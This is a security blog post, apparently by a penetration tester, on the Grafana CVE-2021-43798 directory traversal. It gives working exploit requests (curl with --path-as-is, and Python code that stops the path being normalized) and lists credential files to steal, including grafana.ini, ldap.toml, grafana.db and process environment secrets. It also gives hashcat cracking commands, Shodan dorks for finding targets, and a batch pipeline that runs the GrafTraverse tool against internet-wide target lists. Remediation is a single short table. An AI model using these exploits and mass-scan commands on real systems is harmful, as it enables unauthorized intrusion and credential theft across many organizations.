CVE-2021-43798 Grafana Directory Traversal Deep Dive

CVE-2021-43798 is a critical unauthenticated directory traversal in Grafana 8.x that allows arbitrary file read through the /public/plugins/ asset endpoint. This post walks through root cause, manual exploitation, the URL normalization trap that breaks most scripts, high-value post-exploitation targets, and scaled testing with GrafTraverse — a purpose-built automation framework for authorized assessments.
▸01 · Introduction & Vulnerability Overview
1.1 Why Grafana Matters
Grafana is one of the most widely deployed open-source observability platforms. It aggregates metrics, logs, and traces from databases, cloud APIs, and LDAP directories through a single web interface. That central role makes it a high-value target: one successful file read can expose credentials for every system it monitors.
1.2 Vulnerability Summary
CVE-2021-43798 is an unauthenticated Local File Inclusion (LFI) / directory traversal flaw affecting Grafana 8.0.0-beta1 through 8.3.0, disclosed in December 2021. Attackers manipulate path segments in plugin asset requests to escape the intended directory and read arbitrary files on the host filesystem. No authentication or special configuration is required — a single crafted HTTP GET is sufficient.
1.3 Affected Versions
| Branch | Last Vulnerable | First Patched |
|---|---|---|
| 8.3.x | 8.3.0 | 8.3.1 |
| 8.2.x | 8.2.6 | 8.2.7 |
| 8.1.x | 8.1.7 | 8.1.8 |
| 8.0.x | 8.0.6 | 8.0.7 |
| 7.5.x (LTS) | 7.5.11 | 7.5.12 |
Any unpatched 8.x instance prior to the versions above is exploitable with no preconditions.
▸02 · Root Cause Analysis
2.1 The Vulnerable Endpoint
Grafana serves plugin static assets via an intentionally unauthenticated route:
/public/plugins/<PLUGIN_NAME>/<FILE_PATH>
Plugins must deliver JS, CSS, and images before a user session exists — so the route is public by design. The failure was missing path confinement after routing.
2.2 Expected vs Actual Behavior
Expected:
-
Resolve the plugin asset directory.
-
Append the requested file path.
-
Verify the canonical path remains inside the asset directory.
-
Serve the file only if confinement passes.
Actual: Step 3 was absent. Traversal sequences (../) were not neutralized, so the resolver followed them through the filesystem.
GET /public/plugins/alertlist/../../../../../../../../etc/passwd
Resolves to /etc/passwd — outside the plugin asset tree entirely.
2.3 Why alertlist?
alertlist is a built-in plugin present in default installations and appears in most public PoCs. Any installed plugin name works; graph, table, prometheus, and loki are common alternatives when alertlist is removed.
▸03 · Reconnaissance & Target Discovery

Public Grafana dashboards are common in cloud, DevOps, and SOC/NOC environments. Building a target inventory is the first operational step.
3.1 Shodan Dorks
http.title:"Grafana"
http.title:"Grafana" "Grafana v8."
http.title:"Grafana" "Grafana v8.0.0"
3.2 Censys / FOFA
# Censys
services.http.response.html_title:"Grafana"
# FOFA
title="Grafana" && body="Grafana v8."
3.3 Target Inventory Format
Normalize results to one URL per line for batch tooling:
http://192.168.1.10:3000
https://monitoring.target.com
https://grafana.victim.org:3000
▸04 · Manual Exploitation
4.1 The Exploit Request
GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1
Host: target.grafana.local:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
A vulnerable host returns 200 OK with /etc/passwd contents. Eight ../ segments reliably reach the filesystem root from typical install paths.
4.2 Plugin Fallback List
If alertlist returns 404, cycle built-in plugins:
alertlist, graph, table, text, dashlist, prometheus, loki,
elasticsearch, mysql, postgres, cloudwatch, jaeger, timeseries
4.3 curl (with --path-as-is)

asbawy@kali$ curl -s --path-as-is \
"http://target:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
Without --path-as-is, curl normalizes ../ before sending and the server receives /etc/passwd on the wrong route.
▸05 · URL Normalization Bypass
This is the most operationally important detail — and the reason naive reimplementations fail.
5.1 The Problem
HTTP clients (Python requests, Go net/http, browsers) normalize paths before transmission:
/public/plugins/alertlist/../../../../../../../../etc/passwd
→ /etc/passwd
The server gets /etc/passwd, which does not match /public/plugins/ → 404. Traversal is neutered on the client.
5.2 Broken Approach
import requests
url = "http://target:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
response = requests.get(url) # Returns 404 — path was normalized
5.3 Correct Approach (PreparedRequest Override)
from requests import Request, Session
session = Session()
raw_url = "http://target:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
req = Request("GET", raw_url, headers={"User-Agent": "Mozilla/5.0"})
prepared = req.prepare()
prepared.url = raw_url # Preserve traversal sequences
response = session.send(prepared, verify=False, allow_redirects=False)
Overwriting prepared.url after prepare() keeps the raw path in the HTTP request line. urllib3 does not re-normalize it.
▸06 · Post-Exploitation & High-Value Targets
Once directory traversal is confirmed, the immediate objective is identifying and exfiltrating files with maximum intelligence value. The following targets are prioritized in order of impact during a penetration test or red team engagement.
6.1 /etc/passwd
Maps user accounts, UIDs, GIDs, home directories, and shell assignments. While password hashes are in /etc/shadow on modern systems (typically not readable without root), /etc/passwd provides the roadmap for lateral movement: identifying service accounts, administrative users, and the Grafana process owner.
6.2 /etc/grafana/grafana.ini

The main Grafana configuration file. High-priority fields:
[database]
type = mysql
host = 127.0.0.1:3306
name = grafana
user = grafana
password = EXTRACTED_DB_PASSWORD ; direct database access
[smtp]
enabled = true
host = smtp.company.internal:587
user = alerts@company.com
password = EXTRACTED_SMTP_PASSWORD ; email infrastructure access
[auth.ldap]
enabled = true
config_file = /etc/grafana/ldap.toml ; path to LDAP bind credentials
[security]
secret_key = EXTRACTED_SECRET_KEY ; used for session token signing
admin_password = EXTRACTED_ADMIN_PW ; plaintext admin password if set here
Extracting grafana.ini frequently provides a direct path to downstream infrastructure: the databases Grafana queries, the SMTP relay it uses for alerts, and the LDAP directory it authenticates against.
6.3 /etc/grafana/ldap.toml
If LDAP integration is enabled, this file contains the bind DN and password used for directory queries:
[[servers]]
host = "ldap.company.internal"
port = 389
bind_dn = "cn=grafana,dc=company,dc=internal"
bind_password = "EXTRACTED_LDAP_BIND_PASSWORD"
A valid LDAP bind credential may allow enumeration or authentication against Active Directory or other directory services.
6.4 /var/lib/grafana/grafana.db
The most consequential target. Grafana's internal SQLite database contains:
- User accounts with PBKDF2-SHA256 password hashes (10,000 iterations)
- Data source configurations with embedded plaintext credentials for Prometheus, InfluxDB, Elasticsearch, CloudWatch, and other backends
- API keys and service account tokens
- Dashboard and alert definitions (operational intelligence about monitored infrastructure)
- Active session tokens
Because grafana.db is a binary SQLite file, it must be downloaded in raw byte mode. Any attempt to decode it as UTF-8 text will corrupt the binary structure and render it unreadable by SQLite.
content = exploit(target, "var/lib/grafana/grafana.db")
if content:
with open("grafana.db", "wb") as f: # Binary write — not text
f.write(content)
6.5 /proc/self/environ
On Linux, reading the process environment from /proc/self/environ reveals environment variables set in the Grafana process, which frequently include injected secrets:
GF_SECURITY_ADMIN_PASSWORD=supersecret
GF_DATABASE_PASSWORD=dbpassword
AWS_ACCESS_KEY_ID=AKIA...
AWS_SECRET_ACCESS_KEY=...
Container deployments on Kubernetes and Docker are particularly likely to expose secrets this way, since environment variable injection is the standard pattern for passing secrets to containerized applications.
6.6 /proc/self/cmdline and /proc/self/cwd
/proc/self/cmdline reveals the full command line used to launch Grafana, including any flags that expose configuration paths. /proc/self/cwd reveals the current working directory of the process. Together they help map the exact filesystem layout when the default paths are not accurate.
6.7 Credential Processing with grafana2hashcat
After exfiltrating grafana.db, PBKDF2 hashes can be extracted and formatted for Hashcat:
python3 grafana2hashcat.py grafana_hashes.txt > hashes.txt
hashcat -m 10900 hashes.txt /usr/share/wordlists/rockyou.txt --force
Hashcat mode 10900 handles PBKDF2-HMAC-SHA256. The grafana2hashcat utility parses the SQLite user table and outputs lines in the format:
sha256:10000:<base64_salt>:<base64_hash>
Successfully cracked hashes yield administrative access to the Grafana interface and, by extension, every data source it orchestrates.
▸07 · Automation with GrafTraverse
Manual exploitation does not scale across hundreds of endpoints. GrafTraverse is a command-line framework for authorized security testing of CVE-2021-43798. It fixes common request-handling bugs in public PoCs and adds multi-threaded scanning, plugin discovery, credential extraction, and structured reporting.
Repository: https://github.com/Asbawy/GrafTraverse-CVE-2021-43798

7.1 Features
| Feature | Description |
|---|---|
| Multi-plugin brute-force | Probes 40+ built-in plugins to find a working traversal path |
| Interactive mode | Menu-driven single-target exploitation with live file preview |
| Batch mode | Concurrent multi-target scanning with configurable workers |
| Wordlist mode | Deep file enumeration from custom wordlists |
| Hash extraction | Auto-extracts PBKDF2 hashes from downloaded grafana.db |
| JSON / CSV logging | Structured output for reporting pipelines |
| Proxy & custom headers | Burp/ZAP integration and WAF-bypass headers |
| False-positive filtering | Rejects plugin JS/CSS/HTML responses |
7.2 Installation
asbawy@kali$ git clone https://github.com/Asbawy/GrafTraverse-CVE-2021-43798.git
asbawy@kali$ cd GrafTraverse-CVE-2021-43798
asbawy@kali$ pip3 install requests
asbawy@kali$ chmod +x GrafTraverse.py
7.3 Interactive Single Target
asbawy@kali$ python3 GrafTraverse.py single -u http://10.10.10.50:3000
Menu options include /etc/passwd, grafana.ini, grafana.db, custom paths, full automated loot, and plugin scanning.
7.4 Plugin Discovery Scan
asbawy@kali$ python3 GrafTraverse.py scan -u http://target:3000
7.5 Batch Scanning
asbawy@kali$ python3 GrafTraverse.py batch -l targets.txt --workers 10 \
--output-dir ./loot --csv results.csv --json results.json \
--proxy http://127.0.0.1:8080
7.6 Example Automation Workflow
# Step 1: Reconnaissance inventory
shodan download grafana_targets 'http.title:"Grafana" "Grafana v8."'
shodan parse --fields ip_str,port grafana_targets.json > inventory.txt
# Step 2: Normalize to URL format
awk '{print "http://" $1 ":" $2}' inventory.txt > targets.txt
# Step 3: Batch exploitation with 10 workers
python3 GrafTraverse.py batch -l targets.txt --workers 10 --output-dir ./loot --csv results.csv --json results.json --proxy http://127.0.0.1:8080
# Step 4: Process extracted databases
for db in ./loot/*_grafana.db; do
python3 grafana2hashcat.py "$db" >> all_hashes.txt
done
# Step 5: Crack recovered hashes
hashcat -m 10900 all_hashes.txt wordlist.txt
▸08 · Remediation
8.1 Primary Fix: Upgrade
| Branch | Minimum Patched |
|---|---|
| 8.3.x | 8.3.1 |
| 8.2.x | 8.2.7 |
| 8.1.x | 8.1.8 |
| 8.0.x | 8.0.7 |
| 7.5.x | 7.5.12 |
▸09 · Conclusion
CVE-2021-43798 demonstrates how a missing path confinement check on a public static-asset route becomes full filesystem read access. The traversal itself is simple; the hard part is building reliable automation that preserves malicious paths through HTTP client normalization.
For offensive practitioners, internalize the PreparedRequest override before writing any traversal tooling. For defenders, treat observability platforms as credential vaults — patch aggressively, segment network access, and monitor plugin asset routes.
GrafTraverse automates the repeatable parts of this assessment for authorized engagements: https://github.com/Asbawy/GrafTraverse-CVE-2021-43798
References

Red Team Consultant · Penetration Tester · Bug Bounty Hunter
Offensive security professional with 250+ vulnerabilities reported across 50+ organizations including Atlassian, Vimeo, and AT&T. Sharing research, tools, and field notes.